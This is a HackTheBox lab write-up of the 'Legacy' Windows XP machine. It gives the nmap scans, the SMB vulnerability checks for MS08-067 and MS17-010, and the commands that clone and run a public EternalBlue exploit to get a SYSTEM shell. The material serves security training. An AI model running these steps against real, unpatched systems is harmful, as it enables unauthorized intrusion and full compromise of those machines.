Legacy Writeup - HackTheBox

Easy Windows

Mohammad Meraj

Independent Security Researcher

Legacy is a Windows XP box. The chain runs: nmap identifies SMB only, NSE scripts confirm MS17-010 (EternalBlue) and MS08-067 (NetAPI), a public Python MS17-010 exploit grants a SYSTEM shell directly with no escalation step needed.

Discovery

Port scan

┌──(kali㉿kali)-[~]

└─$ rustscan -a $TARGET_IP

┌──(kali㉿kali)-[~]

└─$ nmap -p135,139,445 $TARGET_IP -sCV -T4 -oA nmap/nmap

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Computer name: legacy
|   Workgroup: HTB

Three ports, all SMB and RPC. Windows XP flags this immediately as a pre-patch SMB target. Run the standard SMB vuln scripts before anything else.

Vulnerability Identification

┌──(kali㉿kali)-[~]

└─$ nmap -Pn -p139,445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 $TARGET_IP

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143

Both MS08-067 and MS17-010 confirmed. MS17-010 is the cleaner path here.

Exploitation

MS17-010 EternalBlue

┌──(kali㉿kali)-[~]

└─$ git clone https://github.com/h3x0v3rl0rd/MS17-010.git

┌──(kali㉿kali)-[~]

└─$ cd MS17-010

┌──(kali㉿kali)-[~]

└─$ python3 exploit.py $TARGET_IP

[*] Target OS: Windows 5.1
[+] Found pipe 'browser'
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
...
[*] have fun with the system smb session!

C:\WINDOWS\system32>whoami
nt authority\system

The exploit grooms the kernel pool via a named pipe and coerces kernel execution. Shell lands directly as NT AUTHORITY\SYSTEM with no privilege escalation step required.